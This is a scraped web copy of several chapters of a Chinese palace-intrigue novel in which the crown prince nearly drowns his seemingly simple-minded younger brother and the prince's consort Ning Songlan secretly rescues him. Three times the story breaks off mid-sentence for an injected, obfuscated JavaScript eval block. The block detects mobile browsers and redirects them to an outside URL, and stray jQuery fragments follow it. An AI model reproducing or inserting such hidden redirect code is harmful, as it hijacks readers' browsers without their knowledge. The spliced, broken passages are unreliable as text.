中秋宫宴正式开始,大殿中央的歌舞节目俱是精彩非凡,但座上众人没几个有心思看的。
“既白,今日的菜品如何,合你心意吗?”皇帝举起酒杯,遥遥和褚拭雪示意。
褚拭雪弓腰回礼,又将酒杯里的液体一饮而尽,才说:“甚合,多谢陛下。”
“那就好,你看你瘦的,今日多吃点!”皇帝哈哈一笑。
本是一幅君臣和乐融融的景象,一旁的皇后却轻咳了一声,待将皇帝的视线吸引而来,她说:“依臣妾看啊,小褚这身子壮实得很。倒是太子,近来帮着您处理公务,才真是消瘦了许多,听闻还感了风寒……”
说着,她轻叹一声,以袖拂面做垂泪状,暗地里却冲燕谨之使了个眼色。燕谨之此人也机灵,看到母后这样递话,便适时咳嗽两声,声音有些虚弱的回答:“母后,儿臣并无大碍,能帮父皇处理政务,是儿臣的荣幸。”
听到这话,皇帝却不按常理出牌,他冷哼一下,重重将杯子一放,道:“……如此辛劳,若是做出些成绩倒好,眼下什么都没有还成了这样,你是要我夸他还是骂他?”
他目光如剑刺向邀功的皇后,皇后见状面上有些尴尬,也不敢再玩什么踩一捧一,只好老实地连连道歉。燕谨之也只能面色发红的站起身,当着众臣和褚拭雪的面请罪。
“罢了,今日中秋佳节,不说这些糟心的事。”皇帝说罢又看向褚拭雪,“一会儿用过膳,既白陪朕去下两局棋。”
燕谨之站在一边,看着褚拭雪不卑不亢的领了令,又坐下用膳,甚至还不忘朝宁菘蓝举举酒杯。接连的不顺心事让他心胸烦闷,深呼吸一口,对皇后来了一句想出去透气,便自顾自离开。
“让他走!”
这边的皇后本想出声拦,可听到皇帝这话,只好眼睁睁看着燕谨之离开。
离开明亮温暖的宫殿,燕谨之被骤然而起的冷风吹得汗毛一竖,可刚刚那么丢脸,他是怎么也不愿现在就回的。将身上披风裹紧,准备另寻一个温暖的地方歇息。
可没走几步,脚下便踩着一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950808|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
咔嚓作响,又黏糊糊的东西。
燕谨之烦躁的啧一声,唤来宫婢,将靴子抬至其肩头,宫婢跪下身子仔细辨认一会儿才说:“殿下,好像是酥糖……”
“酥糖?”他好像找了什么发泄的途径,怒道:“这群太监怎么办事的,宫道上撒着酥糖,是要黏倒谁?谁撒的,给我打他几百大板!”
“这处地方,大抵是……”
宫婢看向跪在一旁瑟瑟发抖的小太监,那太监一抬头,看到这视线落在自己身上,登时吓得三魂出窍,连连摇头道:“冤枉啊,奴才方才打扫过,绝对干净!就是……就是您之前,五皇子经过,许是五皇子不慎掉落的,实在不干奴才的事啊!
“五皇子?”燕谨之疑了一瞬,想了一会儿才想起,“那个傻子?”
“……是,是!”
五皇子啊。
燕谨之想起五皇子的生母。那女人曾是宠冠后宫的贵妃,当时比他的母后还要风光,只是生了个痴傻儿后便变得郁郁寡欢。后来祖上冒青烟,竟又有了孩子,好在她生那孩子时大出血,连着孩子一起死掉了。
五皇子自此便成了孤家寡人一个,还痴痴傻傻,虽然被吩咐要好生照料着,但是一个傻子,谁会真心好好照顾他。
若是今日不提,燕谨之还真的要忘了自己有个痴傻兄弟呢。
“……左右今日得闲,五皇子在何处,孤去看看他。”燕谨之眼里透出兴味,看向跪在地上的小太监,示意人引路。
小太监无法,只好站起身子将太子往五皇子去的方向带,好在间隔时间不长,没找一会儿,他们便在玉清池旁看到了人。
五皇子正拿着鱼食往玉清池里撒,便撒嘴里还边喊着“小鱼快来吃”,身后只跟着一个宫女。
“我这五弟,还真是天真得可爱啊。”
同样都是皇子,他那么不如意,生怕行差踏错惹来父皇厌烦,这个傻子却想做什么就做什么,何其不公!
燕谨之眼中闪过一丝阴鹜,扭头看了眼跟在身后的下人们。众人愣了一下,纷纷低下头,很有眼色的退下了。
看着玉清池此刻只余下自己和那边两个,燕谨之这才慢慢走过去,喊道:“好巧啊,五弟。”
正喂着鱼的五皇子一愣,手里的鱼食被攥碎几颗。
他怯怯地回头看一眼,磕磕绊绊弯了下腰,说:“三,三哥,见过三哥。”
“诶,五弟客气。只是啊,见到我不要叫三哥,应该叫太子殿下,明白吗?”燕谨之语气温柔,可上来一句话便带着挑刺的意思。
五皇子讷讷的点了下头,不敢说话。燕谨之却不愿放过他:“五弟在喂鱼啊?正好,本太子也想喂一喂。”
说着,他便拉过五皇子的手,将鱼食夺了过去。
同时又看了眼跟在五皇子身后的宫女,示意让那人滚下去。宫女还在愣神的功夫,就被不知哪里冒出来的几人强制拉了下去。
五皇子手里一空,似有所感看向身后,却发现一直跟着他的宫女忽然消失了,登时着急起来:“太子殿下,小春呢?我的宫女姐姐小春不见了!”
“不见了?”燕谨之故作震惊,左右环顾一下,趁五皇子扭头找时从身后扔了块石头入水,“扑通”一声。
“呀”,燕谨之示意五皇子向水看去,“我听到水池里有动静,莫不是落到水里去了?五弟,你快下去看看!”
8. 第 8 章
“……水,水里?”
五皇子迟疑着问。他将视线投向水面,那石头早已沉下去,水面自然什么都没有,只剩片片涟漪。
“对啊,那宫女许是已经沉下去了,五弟若是还不救,那宫女就要死了呀!”
五皇子听到这话连连摇头,步子向后退几步,边走边说:“小春姐姐不能死!我去,我去叫人来救她!”
“诶。”燕谨之将手里的鱼食随意朝池里一扔,抬手抓住五皇子,故作担忧道,“可你这一去一回,那小春早就被溺死了,依我看,你还是先下去找找她吧。”
说罢,他也不再装什么兄友弟恭,手下用力直接将五皇子拖至池边。
“今天实在是你不幸运,我心情不大好时你便正好撞上来!”
他用手卡住五皇子脖子,以不容挣脱的力道将人头朝下按进水里。
按一会儿又抬起,不等人喘上气便又按下去,几番来回,五皇子本抓着他的双手渐渐有些脱力,呼救的声音也微弱下去。
“不……不要,求…三哥…不……”
掌下一鼓一鼓的脉搏随着五皇子不断入水而产生变化,燕谨之感受着那逐渐变慢的速度,心中的掌控欲逐渐蓬勃。
身为太子,他抓不住权势,抓不住父皇的宠爱,甚至抓不住心悦的女人……他已经太失败了。
可是,他现在抓住了一个人的生死。
他想让这人生,这人就能捡回一条命,他想让这人死,这人便活不过今晚!
燕谨之忍不住嗬嗬笑,这太让人着迷了。
夜深人静,众人皆在泰和宫共庆中秋,丝毫不知玉清池旁,有条生命正在逐渐流逝。
而殿内,酒盏已换过几轮,众人正酣畅,褚拭雪也早陪着皇帝离开。宁菘蓝坐在座位上,看着燕谨之那一直空着的位置,心下有些不安。
“以燕谨之的性格,他怎么会待在外面这么久?不会又做什么了吧……”
上辈子燕谨之可并未离开过,这次若是剧情发生什么变化,她任务失败进循环了怎么办?
不安之感一直在心头涌动,连握着酒杯的手都似有所感般轻轻颤抖,第六感一直在向宁菘蓝昭示,好像有什么不好的事情正要发生。
“嘶——”宁菘蓝握握拳,实在忍不住站起身,扭头朝殿外走去。
就算她是出去消食好了。
燕谨之留下的踪迹不难被发现,宁菘蓝只稍微一问,便知道他是去找五皇子了。
“五皇子又是何人?”宁菘蓝扭头问贴身婢女红螺。
只见红螺也沉思一下,才说:“好像是元贵妃的长子。元贵妃在时,大家还供着他,后来元贵妃生子难产而亡,便只剩了五皇子一个。五皇子生来痴傻,时间久了,大家伺候他也都不太尽心,在宫中没什么存在感。”
那燕谨之找他是要干什么?总不可能是沟通疏离已久的兄弟情谊。
“但奴婢听说过,当今皇后娘娘与元贵妃是死对头。当时元贵妃盛宠一时,皇后娘娘眼红了很久,后来是元贵妃去世,皇后娘娘才又有的宠爱。”
听着红螺这话,宁菘蓝带着她恰行至玉清池附近,远远便听到扑通声。
隔着树影向玉清池看去,果不其然看到燕谨之独自站在池边,手中不知握着什么,正将那东西不断朝水下按。
“娘……娘娘,那好像是个人!”红螺用手掩唇,眼睛瞪大,一脸惊恐。
宁菘蓝心中一颤,急忙又凑近几步,才借着月光看到一人正跪在燕谨之脚边,脖子被燕谨之握着,浑身湿漉漉的,已然是进气少出气多的情形。
这是那个痴傻皇子?
金书中他的结局是什么?他就是在这里死的吗?
他此刻便死了会对剧情产生什么影响?
他真的会死吗?会有人来救他吗?
万千疑虑自心头而起,宁菘蓝脚下忍不住踱了几步。眼看五皇子即将没气,她到底该怎么做?
玉清池旁无人,又地处偏僻,若她不救,很可能就没人救。
金书…金书也没消息,不知是死哪里去了,任她如何喊都没动静。
“娘娘……”红螺声音颤抖,嗓音里带着恐惧。宁菘蓝看向她,看到她颤抖的身子和眼角被吓出的眼泪,“那人,那人好像不行了。”
“什么!”宁菘蓝身体一震。
没有犹豫的时间了。
“燕谨之!太子殿下您在哪?”宁菘蓝走远两步,装作正在找人,刚行至这里的样子大声喊道。
又扭过头示意红螺机灵些,一会儿及时带走五皇子。
说她圣母也罢,她无法眼睁睁看着一个无辜的人惨死。
另头的燕谨之双眼发红,正将五皇子的头狠狠按在水中,却被宁菘蓝一声叫回了现实。
他手一松,如梦方醒。
看看手下惨白的脖颈,又被吓了一跳,他听着宁菘蓝的声音越来越近,立刻松开手慌不择路离开,扔下已经脱力的五皇子。
“叫什么叫?”
宁菘蓝的视野里,燕谨之骤然出现在道路尽头,没好气的样子,但是湿了一半的衣服仍透露着某些不为人知的事情。
“……殿下,臣妾许久未看到您,便出来寻您。”她勉强笑了一下,装作担忧的样子。
燕谨之闻言怔一下,上下打量着宁菘蓝:“太阳从西边出来了,你还担心我?”
宁菘蓝不自然的咳了一下:“我不是听母后说您风寒了吗,又看您在外面那么久都不回来,就出来找一下而已,什么担不担心……”
这份不自然本是破绽,可此刻落在燕谨之眼里,却反而戳中了他。
表面说话难听,实则真遇到事了,还不是担心我?
他被自己的脑补安慰到,心中暴虐的情绪被眼前的少女安抚下来。他面上渐渐放松下来,昂起头:“担心我便直说,我知你性子骄傲,但是担心夫君是人之常情,没必要遮掩。”
“……啊,嗯。”宁菘蓝顺着他说。
“好了好了,走吧,陪我去换个衣服!”燕谨之一摆手,走至宁菘蓝身边挽上她的肩离开。
宁菘蓝也顺从的转过身,看到一抹身影向池边走去。
还好救得及时,红螺向五皇子胸口按压数下,几口水便被五皇子呕出,呛咳声响起,红螺心下知晓这人算是救下了。
“...你....”
“五皇子,您刚醒来不久,奴婢还是先带您去换身衣服吧。”说罢,红螺便扶起五皇子,带着人离开。
五皇子面上不动声色,继续装做痴傻皇子的模样任由红螺搀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950809|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扶离去。
“谢谢姐姐救我。”
红螺笑一下,抚了抚五皇子的头:“莫谢我,若想谢就谢我家娘娘吧,她要我救你的。”
“娘娘?”五皇子表情懵懂。
“哎,左右是个傻子,就不和你遮遮掩掩了。要我说,我们娘娘不仅长得是天人之姿,心地更是菩萨心肠,就是嫁的不太好,那个太...呸,那人草菅人命,造那么多杀孽,连累得我家娘娘到处给他善后。”红螺自顾自发了不少牢骚,也没怎么避讳五皇子。
太..?
太子?娘娘...,就不知道是太子正妃还是那位侧妃了,五皇子心中思忖。
“五皇子殿下,您先换衣服吧,莫要着凉了。”红螺退出房间,关上了门。
这边,宁菘蓝早已遣人给沈嫚儿传了信,她和燕谨之刚走没多久,沈嫚儿便匆匆赶来。
“太子哥哥,您怎么样,我听说您衣服都湿了!”
"...嫚儿?"燕谨之看了眼宁菘蓝,心下有些怀疑,“你怎么在这,你听谁说的我衣服湿了?”
“我让下人去给你拿新衣服,许是太子妃看到了,便知晓了。”宁菘蓝淡淡道,丝毫没有慌乱。
她这一副正经的样子让燕谨之稍稍放下心:“你心倒是挺细。”
“过奖了,太子殿下,您快去换衣服吧。”宁菘蓝看向沈嫚儿手中抱着的锦衣,推了下沈嫚儿,示意她随着燕谨之进去。
看着二人双双走入宫内,宁菘蓝才渐渐放松下来。燕谨之好歹浮沉朝堂,心机也是有的,应付他并不容易。
“等他们出来了,告诉他们,我身子不适,先回去歇息一下。”和候在一旁的沈嫚儿婢女交代了,她才转身离开。
先向泰和宫方向走,绕了一大圈宁菘蓝才重又绕去红螺他们那里。
行至门外,看到紧闭的房门,宁菘蓝问道:“红螺,五皇子....”
“回娘娘,五皇子应该是在里面换衣服。”
宁菘蓝闻言皱了下眉:“还在换?我绕来的时间已经够久了,他怎可能还未换好,不会是出什么事了吧?”
“这.....”红螺被这样一问也有些拿不准,细想来的确已过了许久,屋内却毫无动静。
宁菘蓝看出红螺的迟疑。想着既救了,人在他们手里也不应再出什么事,便也顾不得什么,推开门就进去,生怕五皇子又如何。
好在待推开门寻找一番后,宁菘蓝在床上看到五皇子的身影。
他闭着眸,朝向一侧蜷着身体,正呼呼大睡。身上的衣服穿得也不齐整,看着像只草草一穿便躺在床上眯着了。
“如此天真,是如何在宫里活这么久的.....”宁菘蓝叹了口气,慢慢走过去。
床榻上有床被子,五皇子却并未抖落开盖上,而是抱着自己就这样睡去了。秋夜更深露重,这样睡怕是第二日醒来就要发热。
一个痴傻的人,无论年纪大还是小,都与孩童无异。宁菘蓝便也没什么防备,弯腰抖开被子将其盖在了五皇子身上,确定都盖严实了才退开。
“红螺,将灯熄了,我们先离开吧。”
“是。”
烛光随声而灭,门被打开又关上,屋中重又寂静。
一双眼睛自黑暗中亮起。
9. 第 9 章
想到方才垂落在他脸旁的一抹衣摆,五皇子轻攥下手指。
太子侧妃,宁菘蓝?
传言其嚣张跋扈,脾气暴躁,如此看来也并非全真。
只是她为何要帮他,这事有些蹊跷。
另头,褚拭雪正陪皇帝下棋。棋盘上黑白子你来我往,互不相让,俱都带着杀伐果决的气势,只是细看下仍能看出黑子已有些颓败之势。
然而,寂静的殿内,都蒙却突然走入,并附耳到褚拭雪面前说了什么。
褚拭雪本手握白子正漫不经心摩挲,闻言却目光一凛,手中的白子也重又掉入棋罐中。
他给了都蒙一个眼神。
人没事吧?
都蒙点点头,又摇摇头,附耳过去说:“轻微溺水,及时被宁娘子救了。”
宁菘蓝,又是她?
褚拭雪皱皱眉,不免觉得最近宁菘蓝的存在感过高了些。
“发生什么事了,你们在这眉来眼去的?”
皇帝低头端详着棋盘,沉声问道。
二人对视一眼,都蒙低着头退至褚拭雪身后,褚拭雪则安抚般笑了下,道:“没有,就是东厂一些琐事,他太谨慎,所以什么都会来问问臣。”
“东厂的事啊。”皇帝抬起头,端详了一下他,锐利的目光仿佛能穿透一切谎言,褚拭雪也老神在在的端坐在那,没露出一丝慌乱。
过了几秒,皇帝的目光才又放松下来:“谨慎点好。尽小者大,慎微者著。”
“陛下教训的是。”
“既然有事,这局棋要不就到这吧,左右胜负已分明了。”皇帝将手中黑子投入棋罐,摇摇头,复又看向褚拭雪,“你小子棋艺见长,都超过朕了!”
“是陛下教导的好,臣此次只是侥幸。”
褚拭雪适时站起身,谦虚道。
皇帝呵呵一笑,便摆着手赶人:“去处理你的事吧,今日放了你,下次要多陪朕下几盘。”
“一定!”
褚拭雪的确赶着去看人,便顺着告辞,快速离开了。
“现如今人在何处?”刚走出殿外,看到左右无人,褚拭雪问道。
“宁娘子将殿下安排在无人值守的屏山殿,咱们的人已经在那候着了,正等您的吩咐。”都蒙边回答边为褚拭雪带着路。
“……既如此,便让他在那里待一晚吧,他的寝殿人多眼杂不好议事。一会儿我进去找人,你们在外面守好,若有来者即刻拿下。”褚拭雪沉吟一声,思考片刻才说。
二人均为习武之人,故脚程也快,没一会儿便走到了屏山殿。
屏山殿距玉清池不远,褚拭雪站在宫道上遥遥望去,明明暗暗的灯火中,仍能看到玉清池旁大片水湿的痕迹,他不自觉攥紧手指,沉沉呼出一口气才扭过头不再看。
轻轻推门而入,褚拭雪环顾了一下四周,发现这屏山殿虽久无人用,但卫生保持的还算干净,床榻上的被子也厚实,一看便是秋季所用,倒像是有人居住。
“不用看了,这被子还有烛火,都是那太子侧妃帮我添置的。”
自黑暗中突然走出一抹挺拔的身影,五皇子此刻好似一块拂去蒙尘的白玉,终于露出光芒色泽,其背着手,每一缕发丝都好好的收在身后,丝毫没有一点痴傻儿的模样。
上下打量一下五皇子,确定这人身上没有一丝伤口后,褚拭雪稍稍放下些心气,问道:“兄长无事我便安心了,只是今日那燕谨之又发了什么疯,就险些将你置于死地?”
“他一来便对我发难,看起来不像是我惹了他,倒像是本就带着怒,故意来找我撒气的。”五皇子沉思。
褚拭雪眉头一皱:“那人曾对我说过,燕谨之因我之前留下他的侧妃用膳,便吃醋,在东宫大闹一番。且经过那次后,他对我的态度十分阴阳怪气,今日宫宴上也是如此。就是不知今日他发怒是否还因为这一原因。”
五皇子闻言先是一愣,旋即便忍不住哧笑了一声:“你留他的侧妃用膳?他还吃你的醋?”
“……当时只是想随便搓磨他几下,且是他自己留下的宁菘蓝,也不知事后为何如此发怒。”褚拭雪摸不着头脑。
五皇子没多注意其他话,只是又重复了遍:“宁,菘,蓝……此人与太子大抵不合,可以查查她,若是没什么大问题,在扳倒太子时,也许她能有些用处。”
“她?”褚拭雪扬高音调反问一句,接着便摇摇头一脸无奈,“那种冒失鬼你敢用,我可不敢。”
五皇子闻言挑挑眉,多了几分兴味:“哦?她怎么你了,你对她有如此…可爱的评价?”
“可爱?”褚拭雪险些笑掉大牙,“我是说她冒失,头倒是很硬,差点把我的下巴撞碎。”
“是吗?我怎么觉得她甚是心细,不仅救了我,甚至还记得帮我打扫住处,添置临时物品呢?”五皇子在殿内踱了几步,扭头面上带着笑看褚拭雪。
无奈,褚拭雪也不再开玩笑,正色道:“……兄长,这人先前传言是骄纵跋扈又脾性暴躁,如今相处下来却发现并非如此,可见这人身后也有不少秘密,不定数太多,难以控制。”
五皇子沉默片刻:“你说的也在理,但也许她是奇兵也说不定呢?”
褚拭雪摇摇头,不理解宁菘蓝是给兄长灌了什么迷魂汤,仅仅一面而已就让兄长对她有这么大的兴趣。
他皱着眉,心中万千思绪萦绕,燕谨之、柳良吉,以及柳家背后那人,还有圣上。众人虎视眈眈,兄长独自在宫内应付,这种事情不会是第一次,也不会是最后一次。
五皇子燕嘉钰看自家弟弟许久不言语,抬眼望望,发现他又苦闷着脸不知在想什么,无奈抚了抚褚拭雪的头:“好了,小小年纪何必这么苦大仇深,我没事,你知道的?”
“兄长,保护好自己,皇上已经注意到你了,等燕谨之犯下大错,就是你出现的时候。”褚拭雪目光如炬。
燕嘉钰笑了一下,轻点头。
天色已晚,中秋宫宴结束,众官带着家眷们各自离开,宫内重又恢复寂静一片。
燕谨之这边,换好了衣服也不准备再回去,他任由沈嫚儿给自己理好腰带,自镜中看到自己已整理妥当后,便大步迈起朝殿外走,将沈嫚儿一人甩在身后。
沈嫚儿手中骤然一空,她本还欣喜于二人这样难得的宁静,却被燕谨之突然的离开一闷棍敲回现实,望着那个背影,她喊:“殿下,您等等我!”
燕谨之闻言却头也没回,只是敷衍地向后摆了摆手:“孤与你姐姐一起在殿外等你,你快些。”
姐姐?
沈嫚儿皱了下眉,朝着人又喊:“可姐姐已离开了……”
恰在此时,燕谨之推开殿门,只见殿外众奴婢好好站在那等着,各个低眉顺眼,很是乖巧,但这群乖巧的人里面独独少了那个宁菘蓝。
“……离开了?孤为何不知?”燕谨之环顾下四周看看众人,选择扭过头对沈嫚儿发难,语气低沉。
沈嫚儿被燕谨之的眼神吓得向后一躲,将自己埋在房中木柱后面,结结巴巴地说:“姐姐,姐姐派人和我通报了,说她身子困乏,先回去歇息。”
燕谨之“哈”一下,神情讽刺重复了遍:“她身子困乏?她做什么了身子困乏?还有,她为何独独让人将消息告诉你,而不是和她的夫君说呢?”
他想起方才宁菘蓝到的太过恰好,不知是否看到自己欺辱五皇子,若是看到了,那么自己就是将一个把柄落在她身上。
五皇子脖颈后恐怕尚带着自己的掌印,身上必然也有与地面摩擦出来的伤痕,若是宁菘蓝想做些什么,这俱是证据。身为太子,若让他人或父皇知晓自己欺辱同胞,不定会闹出什么事。
且五皇子生母是父皇最宠爱的元贵妃。他是男人,自然知道死去的白月光在男人心中的分量,故元贵妃虽死,但威胁一点没少。
燕谨之想到这,面目俱沉下来。
沈嫚儿也答不上燕谨之的问
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950810|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话,宁菘蓝本就只象征性的说了一句,那下人没来得及多问她便离开了。进了殿内,下人又怕燕谨之怕得紧,急吼吼地给沈嫚儿通传一声便下去了,所以沈嫚儿也不知具体情形,只知道宁菘蓝离开了。
“……罢了罢了,看你这样子就知道你什么也说不出来。”燕谨之厌烦的摇摇头,一副看不上沈嫚儿的样子,又道,“走,回东宫。”
说罢他自己率先扭头离开,沈嫚儿无法,只好小跑着跟上。
燕谨之步子大,也不顾及沈嫚儿,导致沈嫚儿等回到东宫时已累得气喘吁吁。
此刻宁菘蓝也刚刚回来,她手里还攥着外衣,身上尚带着寒气,红螺正去找小厨房帮她开小灶。
而燕谨之气势汹汹,一回来便直直来找宁菘蓝,导致等听到声音,燕谨之已基本接近宁菘蓝的寝宫了。
她无法,只好先将外衣塞进被褥中,自己则老神在在坐在了椅子上,倒杯茶水轻抿。
燕谨之已走至门前,他一把推开门,冷风随着他的进入一起涌来,激得宁菘蓝打了个寒颤。
她抚着散着热气的茶杯,又抿几口才抬头望向太子,疑惑问:“殿下怎的这么急,有何事?”
燕谨之身体一顿,上下打量了下她的神情:“你为何不等着我,自己回来了?”
“……啊,我今日起得早,又被那些金钗镯子压得浑身痛,这不是想着早点回来休息吗。我和下人说过了,他们没告诉你吗?”
宁菘蓝啊一声,将茶杯放下,很是乖巧的坐在那歪头看着燕谨之。
燕谨之被她看得有些不自在,他仔细看向她的手腕,发现那上面的确多了好几道红痕和印子。她皮肤嫩,那些硬物、首饰,只稍稍刮蹭就能留下红印,所以宁菘蓝一向不爱戴那些,这次宫宴是无法避免,才戴上了。
燕谨之心下已经信了大半。他知道宁菘蓝是不屑与自己说谎的,她刚直又要强,从不撒谎扮可怜。就连皮肤嫩这一点,都是因燕谨之和她自小青梅竹马,看多了她抹药才知晓。
“……你的手,没事吧?”他知道自己大概是错怪了她,便讷讷地转移话题。
宁菘蓝心下知道自己是应付过去了,便暗暗松口气:“将可,一会儿抹些药便好。”
燕谨之看到宁菘蓝表情也放松下来,没有了刚刚被吓到的不虞,便慢慢走近,蹲下身子,将她的衣袖向上抚弄。
待看到上面的红痕时,燕谨之皱了下眉:“怎么这么严重,那些东西不可能将你的手腕弄成这样。”
“……可能有些过敏。”宁菘蓝垂着眼眸,任由燕谨之察看。
燕谨之闻言一怔,近来他与宁菘蓝总闹别扭,故也没仔细检查过她的首饰用物,下人也许不走心,将银饰给她带了上去。
“你今日戴了……”燕谨之欲言又止。
“银镯,下人拿来了,我以为是你安排的。”宁菘蓝蹙眉,另只手伸过去,用手指挠了挠。
“你就没有一点辨别的能力吗?”燕谨之明明心中是担心的,嘴上却有些不耐烦的责备意味,“我又不是不知道你对银饰过敏,怎么可能为你准备银镯,能不能长点脑子?”
宁菘蓝本还丧眉搭眼的任由燕谨之检查,听到这话嘶了一声,一个用力将手收回,左右扭扭道:“太子殿下,实在抱歉,我没有脑子!”
燕谨之手里骤然一空,还没发难便被宁菘蓝先阴阳怪气了一句,他哄的站起身,瞪了眼宁菘蓝:“……本太子关心你还关心错了?真是狗咬吕洞宾!”
关心?攥着人手腕劈头盖脸一顿骂,也不抹药也不叫御医就叫关心了?
宁菘蓝对燕谨之这副嘴脸再次看个透彻,总之已经应付过去了,她也懒得理这个人,两人重又陷入冷战。
恰好红螺此时端着碗面进来了,宁菘蓝自顾自吃起来,燕谨之自己站在那里站了一会儿又觉自讨没趣,冷哼一声便离开了。
燕谨之来这一遭,宁菘蓝到底是没见到任何抹药和御医。
10. 第 10 章
第二天,宁菘蓝又让红螺暗中去了一趟屏山殿。确认燕嘉钰已然离开,并且将其重新恢复成了原本的样子。
“娘娘,您说,五皇子是怎么自己离开的?”
红螺有些疑惑,就他们所知,五皇子应当是一个连吃饭、睡觉、穿衣服都要人伺候的主,怎么能自己一声不吭的就离开,且没有任何消息传出来呢?
彼时宁菘蓝正弯腰写着大字,她蘸蘸墨水,笔在砚台上蹭两下,重又落回纸面,一点一横。
“这就不是需要我们操心的事了,左右无事发生,你就当那夜是场梦最好。”
说着,宁菘蓝收了笔。她将宣纸扬到脸前轻轻吹一下,吐息划过纸张,使纸张向后卷起,红螺正抬着头望她,自纸张上瞧见一个“守”字。
“……可是这事挺蹊跷的。”红螺自言自语道,她以为宁菘蓝没听到,故而也没注意到宁菘蓝投向她的目光。
宁菘蓝伸手轻抚了一下那个“守”字。
身处宫中,人人心中皆有一个守。
对失势者,要守住同情心;对枕边人,要守住爱心;对有秘密的人,更要守住好奇心。
见红螺低下头又许久不言语,好似陷入了自己的思绪中,宁菘蓝无奈一笑,放下手中的纸走到她身边,轻轻拍了下她:“这宫中奇事层出不穷,若都要细细追究,红螺倒不如出宫去做个捕快,定升官极快。”
红螺一愣,面上又转而露出些少女的娇憨:“娘娘,你不要打趣奴婢,奴婢不想就是了。”
宁菘蓝满意的点点头,吩咐红螺去将自己的伤药取来。她的手腕过一夜起了不少疹子,又被半夜时睡梦中的她无意挠了好几下,现下又红又肿,看起来很是狰狞。
“娘娘,奴婢不懂,您为何回来后要用那银饰狠狠磨搓手腕,您看,皮都破了好几处。”
红螺取出药膏,小心翼翼地给宁菘蓝涂。
宁菘蓝任由她的动作,伤手平放在桌面,另一只则垂在腰侧,有一搭没一搭的捏着衣摆:“若是我不这样,昨日燕谨之会这么轻易放过我吗?池边我到得太过凑巧,接着又早早离开,他怎么可能不怀疑?只有我有一个不得不立刻离开的理由,他才会暂且相信我昨日并未发现他做的事。”
听到这,红螺才恍然大悟,她笑着称赞自家娘娘聪明,又被宁菘蓝嗔怪,主仆二人你一言我一语相互奉承,倒是把彼此都哄的很是开心。
可恰时,宫外又传来通传声。
“太子殿下到!”
宁菘蓝神情一凛。通常这时燕谨之应都在养心殿,与皇上一起处理政务。皇上身体并不十分好,有意在培养下一任继承人,故而看他看得紧,怎的这时候他来了?
她站起身,理了理衣袖迎上去,望着太子试探道:“今日您怎么有闲情逸致到我这?”
却不想燕谨之露出邪魅一笑,用手轻挑一下宁菘蓝的下巴,低沉着嗓音:“怎么,我想你了不准来?”
宁菘蓝下巴一痒,她强忍住去挠的欲望,抬手掩住唇,遮住了自己略显狰狞的表情。
“当然不是,您随意……哈。”
燕谨之说完便自顾自去了上座,随手拿起一盏茶抿一口,清清嗓子说:“嫚儿的生辰快到了,你知晓吧?”
“……您这一说,我就知晓了。”
他不着声色地看看宁菘蓝的脸色,看她面上没有露出不虞,想着应当是开始时哄她那句起了效果。
才又接着道:“嫚儿是沈家嫡女,身份尊贵。且他们沈家的助力对我而言很重要,故而……”他犹豫了一下,斟酌两句又说,“我只能冷落你,她的生日宴也办的会比你大一些。你,没什么意见吧?”
宁菘蓝挑挑眉,眼睛却垂着不看人:“我怎么会有什么意见呢?她是太子妃,又是嫁您第一年,生日宴理应大办。”
很宽容大度的话,却让燕谨之身心不安。
两人都还记得,宁菘蓝和沈嫚儿同日进门,新婚当夜,燕谨之必须先去正妃处,故而他和沈嫚儿一直待到后半夜,直到沈嫚儿睡去,他才又悄悄去了一趟宁菘蓝那里。
宁菘蓝当时还心悦他,本就因太子妃之位被凭空夺走而委屈,后新婚之夜独守空房,暗自垂泪了很久,一直哭到睡着。
虽然如今的宁菘蓝已经历过许多,但她仍然记得那夜的冰冷和痛苦。
那个夜晚仿佛是预兆,预兆了她后来的人生永远抵不过沈嫚儿,永远是被燕谨之抛弃的那个。
想到这,宁菘蓝却又倏尔露出一抹笑,幸好她的爱已在这种种里消磨殆尽,能让她如今坦然站在这里,心无旁骛的去向燕谨之复仇。
她也感谢沈嫚儿,让她看清了一个薄情人。
“太子殿下,您的意思是让妾帮着下人准备生日宴?”宁菘蓝勾勒出一个端方得体的笑。
燕谨之本还担忧着宁菘蓝又要吃醋耍脾气,不想却看到她这么无所谓的样子,心中涌上一股莫名的情绪。
他讷讷道:“不用,那么多奴婢哪里需要你操心……只是你要好好为她准备贺礼,展示出大家风范…别给我丢脸。”
明明是跟母后商量好的说词,明明已演练无数遍,可当他真的对宁菘蓝说出这句话时,他连眼睛都不敢睁开,怕看到她黯然神伤,却又怕看到她真的变得无所谓。
太别扭了。
